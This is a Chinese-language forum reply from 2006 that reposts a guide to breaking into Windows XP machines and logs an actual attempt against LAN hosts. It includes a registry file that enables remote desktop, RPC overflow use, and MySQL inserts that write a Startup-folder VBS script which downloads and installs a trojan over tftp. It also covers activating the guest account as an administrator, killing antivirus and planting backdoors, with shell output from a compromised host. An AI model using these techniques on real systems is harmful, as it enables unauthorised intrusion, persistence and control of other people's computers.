|
- UID
- 795
- 帖子
- 2279
- 精华
- 2
- 贡献
- 0
- 推广
- 0
- 有效BUG
- 0
- 注册时间
- 2005-4-16
|
3#
发表于 2006-3-27 21:53
| 只看该作者
RPWT
打补丁吧,给你贴篇文章,你再反着防吧.
入侵XP
最近论坛中有好多人都在问如何入侵XP。而且还都在用入侵2000的老方法对付XP。这是行不通的。我做了一个总结，看看可以使你对XP有一个清醒的认识，并从中找出一些入侵XP的好的方法。
入侵xp一向来都是很困难,但并不是不能入侵。 只是xp的安全性相对于windows其它糸列好些罢了,下面是xp的一些特点:
第一：xp的ipc$命名管道默认是guest用户权限登陆,并且密码不能为空,可以通过mmc 添加管理单元去修改,充许任何用户权限登陆,但需桌面交互,和获得管理员权限. (这就是为什么要开3389的原因)
第二：xp糸统不支持多用户同时登陆,同一时间只能充许一个用户连接和登陆,建义使用 system权限进入xp主机(也就是用溢出,溢出成功后都直接进入system32目录，或种植木马),所以通过各种 方法入侵xp主机后的第一步并不是添加一个用户名,而是上传一个木马程序更为实际. 因为在没有开启终端或仿真终端的情况下,就算你拥有一台xp主机的用户和密码, 也没什么用。
第三：现在来说说XP的远程终端连接。xp自带的远桌面连接(3389终端),安装时默认已经安装和启动,你只要打开电脑属性但要远程连接,还 需要更改一下设置,最简单的方法远程修改注册表(这种方法好处在于不用桌面交互),当 然你也可以用slave等远程桌面管理软件来开启，但是这样容易暴露，你的一举一动都
会在桌面有显示.下面给出注册表修改方法:
新建一注册表文件,内容为:
regedit4 (一定要大写)
[hkey_local_machine\system\currentcontrolset\control\terminal serve]
"fdenytsconnections"=dword:00000000
假如把上面的注册表文件存为3389.reg,把3389.reg上传到肉机执行regedit /s 3389.reg
,这样就可以远程连接了。
第四：如果你想像2000那样映射XP的共享硬盘，要通过修改对方的本地安全策略。在【可匿名访问的工享】中添加上c$,d$..等。
第五：xp中的仿真终端服务启动后默认为ntlm验证,可以用xp自带的tlntadmn(net start 只能在本地启动仿真终端服务)命令开启远程主机的telnet,而shutdown命令可以关闭远程主机,sc命令也以配置远程服务......,这些是xp自带的小工具 .
第六：另外XP自带的自动更新和防火墙也为XP增强了一些安全保护。
好了，XP的一些特点介绍完了。现在总结一些入侵XP的具体办法。
首先我现总结一下我得入侵体会。第一：由于XP不支持管理员权限IPC$连接，所以不能直接在DOS下复制文件。一但进入XP的系统目录，首先应该在本地主机建立一个FTP服务器，用来方便快捷的上传和下载文件。第二：入侵系统后建立帐户时，不但要把它加入ADMINISTRATORS组，还要把它加入GUESTS组。因为XP的许多限制默认都是都是guest权限的，把它加入了管理员组，无形之中就使这些连接具有了admin权限。切记只是突破XP各种限制的突破口。第三：在后门
的选择上，可以多考虑一下3389。这可是2000所没有的。你用工具开他的远程桌面连接，既省掉了木马被杀的风险，而且可以完全控制对方计算机。第四：好好利用XP的【本地全策略】，其实XP的好多限制都来自这里，包括用户和远程访问的限制。你一但同过3389远程登陆到对方主机，首先就要更改它的设置。下面举几个实例：
【本地安全策略】－【用户权利指派】－【从网络访问此计算机】中入"guest"用户。这样你就能在本地【运行】中输入
ip 浏览对方共享目录了。
【本地安全策略】－【用户权利指派】－【拒绝从网络访问此计算机】中删除"guest"用户。
还有很多方法可以为自己提高权限，通过注册表等等。就看你如何利用了。这里就不多说了
接着介绍一些入侵XP的方法：
当然溢出还是绝对的主角，他的好处是可以得到"cmdshell"。缺点就是成功率不太高，要有耐心。
对没打补丁的XPsp1来说MS04011,MS03049漏洞还是很多的(ms05039主要这对的是2000)。直接溢出，不用在本地开端口，溢出成功后用telnet直接登陆就行了。
还有就是扫描135端口，看有没有rpc溢出，这是比较流行的。工具网上又很多自己去搜吧。
最后是利用数据库入侵。经典的是mysql和mssql。前者我没试过所以找了些资料大家看看吧：
mysql入侵
工具：wineggdropshell v1.35
[1]用mysql连接你拥有用户名和密码的远程mysql数库.
[2]新建一个数据表后,安格式把下面两行语句写到新建的数据表中假如你新建的数据表为aa,
(1)insert into aa values ("set wshshell=createobject (""wscript.shell"")");
(2)insert into aa values ("a=wshshell.run (""cmd.exe /c (tftp -i 127.0.0.1 get win135.exe c:\\windows\\system32\\win135.exe && c:\\windows\\system32\\win135.exe -install) && (net start win135)"",0)");
[3]把新建的数据表为脚本文件并导出到启动项:
select * from aa into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\aa.vbs";
[4]保存成功后,只要对方重启你就可以用木马登陆了
mssql,呵呵不多说了相信大家都听说过了：
首先扫描1433端口开放的主机,然后用x-scan中扫描mssql弱口令 。 再用sqlexec连接带有弱口令的主机 ，接着用tftp上传木马 ，用木马的system权限登陆后,再上传3389.reg开他的远程终端。用3389登陆后.别忘了册掉新建的用户,因为xp登陆对话框中会把新建的用户显示出来.除非你是用的内置帐户，或克隆的内置账户。
这就是我入侵XP的一些经验。希望可以为大家提供一些参考。
更新：不要指望在XP上开3389了，虽然可以通过注册表开启远程桌面连接。但是XP只允许一个用户在同一时间登陆。没办法更改。网上传说的修改注册表的方法：
HKEY＿LOCAL＿MA－CHINE＼System＼CurrentControlSet＼Control＼Terminal Server＼Licensing Core?分支，新建一个名为“EnableConcurrentSessions”的DWORD值，将键值设置为“1”，就可以让Windows XP支持两个用户。
只针对XP测试版，该版本目前已经快绝迹了。除非把测试版的3389文件替换掉XP SP2的文件才能成功。
1.思路：突破xp系统远程访问的限制，实现文件传输和远程登陆。
2.工具：rpc漏洞扫描工具、溢出工具，pstools工具包。
3.步骤
1)步骤一:rpc漏洞扫描：
推荐使用retinarpcdcom.exe（eeye公司推出的专门针对RPC漏洞的扫描工具）
图形界面，在剑鹰网络安全小组有下载。
2)步骤二:远程溢出：
在剑鹰网络安全小组有很多该类工具下载，我用xp.exe,溢出成功率极高。
3)步骤三:提升guest权限（本方案之关键）：
命令:net user guest /active:yes
net localgroup aministrators guest /add
——————————————————————————————
看到这里，也许你会嗤之以鼻，
可这正是大家忽略的地方，因为guest有与其它所有帐号不同的特性。
如果你用net user guest命令，将会看到下面的内容：
Password required??????No
这正是突破xp系统远程访问帐号限制的突破口！
除了guest外，其它帐号都是
Password required?????yes
所以就算你有xp系统的管理员帐号密码一样无所作为。
——————————————————————————————
当guest提升为admin权限后，你试试
dir \\IP\c$?
呵呵，现在你已经有了读写权限，连ipc$连接都省了~~
当然你也一样可以用net use \\ip "" /user:"guest"来进行IPC$连接
（不过是多此一举）。
到此，文件传输的问题已经解决！
4)步骤四:远程登陆
我们当然不想每次用溢出登陆对方。
那么就试试opentelnet吧
>opentelnet \\ip guest "" 1 90
read ntlm failed?????????\\shit!用administrator也是这样子。
上传srv.exe试试，我没试过，有兴趣的自己试试。
因为我认为用psexec方便多了。命令如下：
psexec \\ip cmd???（连ipc$不用开了，爽吧）
5)关于后门：
各显神通，我正好用来试试榕哥的bits.dll，感觉一点都不好，
榕哥的fans可别拿鸡蛋扔我哦~~
6)注意事项：
千万别在xp系统中建新帐户（为什么？自己想想）
xp系统默认只能登陆一个帐户，故用3389的远程登陆是不行的。
rpc溢出会导致对方重启，要慎用，尤其是服务器。
由于当时只是粗略的看了看，自己没去试验文章里的方法，今天有时间了就测试一下。
我在内网的，所以就在内网里测试吧，首先用superscan扫了一个网段。
10.200.6.1——10.200.6.254，看看那些机子开放了 5000端口。
一般情况下这样的机子都是XP系统。好了，速度很快，出来一大片。
然后我用RPC的溢出工具，打开，填入一个机子的IP地址，失败，可能人家已经打了补丁
没关系，我们继续来，终于有一个成功了
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
为了保险一点，我先个机子安装一个后门再说，传个文件过去，这个方法很多。
TFTP，FTP，在命令行用脚本或者http下载都可以实现。
这个需要考虑对方有没有开杀毒软件，如果有的话先传个pulist.exe以及pslist.exe过去
先把杀毒软件的服务停止，然后杀掉进程，这时再传木马过去。
好了，我们先看看对方的用户信息
C:\WINDOWS\system32>net user
net user
\\ 的用户帐户
-----------------------------------------------------------------
Administrator??????Guest??????????HelpAssistant
SUPPORT_388945a0
命令运行完毕，但发生一个或多个错误。
然后我们把guest激活并加入管理员组。
C:\WINDOWS\system32>net user guest /active:yes
net user guest /active:yes
命令成功完成。
C:\WINDOWS\system32>net localgroup administrators guest /add
net localgroup administrators guest /add
命令成功完成。
我们来看看guest的帐户信息
net user guest
用户名???????? Guest
全名
注释????????? 供来宾访问计算机或访问域的内置帐户
用户的注释
国家(地区)代码???? 000 (系统默认值)
帐户启用??????? Yes
帐户到期??????? 从不
上次设置密码????? 2003/11/28 下午 02:48
密码到期??????? 从不
密码可更改?????? 2003/11/28 下午 02:48
需要密码??????? No
用户可以更改密码??? No
允许的工作站????? All
登录脚本
用户配置文件
主目录
上次登录??????? 从不
可允许的登录小时数?? All
本地组成员?????? *Administrators??? *Guests
全局组成员?????? *None
命令成功完成。
看看对方开的共享
C:\WINDOWS\system32>net share
net share
共享名? 资源????????????注释
------------------------------------------------------------
IPC$???????????????????? 远程 IPC
G$????? G:\?????????????? 默认共享
F$????? F:\?????????????? 默认共享
ADMIN$??? C:\WINDOWS???????????远程管理
C$????? C:\?????????????? 默认共享
E$????? E:\?????????????? 默认共享
命令成功完成。
然后按照文章里的方法进行，以下是在我机子里操作的
C:\>dir \\10.200.6.183\c$
登录失败: 未授予用户在此计算机上的请求登录类型。
C:\>net use \\10.200.6.183\ipc$ "" /user:guest
系统发生 1385 错误。
登录失败: 未授予用户在此计算机上的请求登录类型。
晕了，不知道为什么，重新在对方的shell里给guest设置了一个密码之后再看看
C:\>net use \\10.200.6.183\ipc$ "123456" /user:guest
系统发生 1385 错误。
登录失败: 未授予用户在此计算机上的请求登录类型。
用psexec \\10.200.6.183 cmd.exe 也不行~！！！
因为根本不能建立IPC连接。
好了，我就到这里，如果那位按照上面的方法成功了说一声动感超人，帮忙测试一下。
个人认为，只要可以得到一个shell什么事情都好说了，传个后门过去，命令行下控制 对方机子照样也很爽 |
|
发表于 2006-3-28 01:02
| 
